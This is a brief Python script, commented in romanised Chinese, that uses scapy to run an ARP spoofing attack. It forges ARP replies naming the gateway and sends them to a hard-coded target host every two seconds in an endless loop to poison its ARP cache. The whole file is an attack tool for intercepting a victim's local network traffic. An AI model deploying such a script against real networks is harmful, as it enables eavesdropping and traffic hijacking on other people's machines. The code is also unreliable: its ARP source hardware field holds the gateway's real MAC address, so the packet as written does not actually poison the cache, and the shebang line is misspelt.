#!/usr/bin/pyhton
#coding:utf-8
from scapy.all import *

interFACE = "eth0"
#mubiaoip
tip = "192.168.0.102"

#gongjizheip(ben ji ip dizhi)
lip = "192.168.0.104"

#wangguan
gip = "192.168.0.1"

#mu biao mac dizhi
tmac = getmacbyip(tip)
#ben ji mac dizhi
lmac = get_if_hwaddr(interFACE)
#wang guan mac dizhi<F4>
gmac = getmacbyip(gip)

#dst mubiao mac
#src benji mac

#gou zhao shu ju bao 
pack = Ether(dst=tmac, src=lmac)/ARP(op=1, hwsrc=gmac, psrc=gip, hwdst=tmac, pdst=tip)


while 1:#yinwei arp huancun hui bei qing chu suoyi xuyao yizhi baochi fasong  
    
    
    #fa song shu ju bao
    #iface biaoshi shiyong nage wangka qu fa 
    sendp(pack, 2, iface=interFACE) #jiange 2 miao fa yici shujubao 
                                    #gei  mubiao zhuji
                                    # cong er shixian lianxu arp qipian 




